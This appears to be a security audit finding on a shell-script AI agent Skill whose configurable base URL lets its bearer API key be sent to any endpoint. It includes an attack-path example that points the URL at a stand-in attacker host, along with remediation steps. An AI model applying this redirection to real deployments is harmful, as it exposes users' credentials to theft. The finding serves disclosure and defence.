T09 · Insecure Skill Coding Practices
Error
- Location
scripts/_common.sh:6- Finding
Bearer API Key Can Be Transmitted to an Arbitrary or Plaintext Endpoint
- Content
View full analysis
&2 exit 2 fi CHILLTION_AUTH="Authorization: Bearer ${CHILLTION_API_KEY}" ``` ```bash # scripts/balance.sh:7-8 curl -s "${CHILLTION_BASE_URL}/api/credits/balance" \ -H "${CHILLTION_AUTH}" ``` The same authorization header and configurable base URL are used by every API script in the project. ### Technical Analysis `CHILLTION_BASE_URL` is accepted directly from the environment without validating its scheme, hostname, port, user information, or destination. Every request then attaches `CHILLTION_API_KEY` as an HTTP bearer credential. Consequently, a value such as `http://attacker.example` causes the credential to be sent in plaintext to an attacker-controlled server. An untrusted HTTPS host would likewise receive the token legitimately at the TLS endpoint. HTTP redirects are not followed because `curl -L` is not used, but this does not mitigate direct configuration of an untrusted destination. This is a credential-disclosure vulnerability rather than local command injection: the URL is quoted, so shell metacharacters inside the environment variable are not evaluated as commands. ### Attack Path 1. An attacker influences the process environment, deployment configuration, shell invocation, or instructions used to run the Skill. 2. The attacker sets a malicious destination, for example: ```bash export CHILLTION_BASE_URL="http://attacker.example" ``` 3. A user or agent invokes any API script, such as: ```bash scripts/balance.sh ``` 4. The script creates the header `Authorization: Bearer- Remediation
View remediation
&2 exit 2 ;; esac ``` 2. Prefer a fixed production API origin rather than an environment-controlled origin. 3. If custom development endpoints are necessary, require a separate explicit opt-in such as `CHILLTION_ALLOW_CUSTOM_ENDPOINT=1`. 4. Parse custom URLs using a proper URL parser and reject: - Schemes other than HTTPS - URL user information - Fragments - Unexpected ports - Hosts outside an explicit allowlist 5. Use separate, least-privileged development credentials for non-production endpoints. 6. Display a clear warning and require deliberate confirmation before transmitting credentials to a custom host. 7. Revoke and rotate any API key that may already have been transmitted to an untrusted or plaintext endpoint. ]]>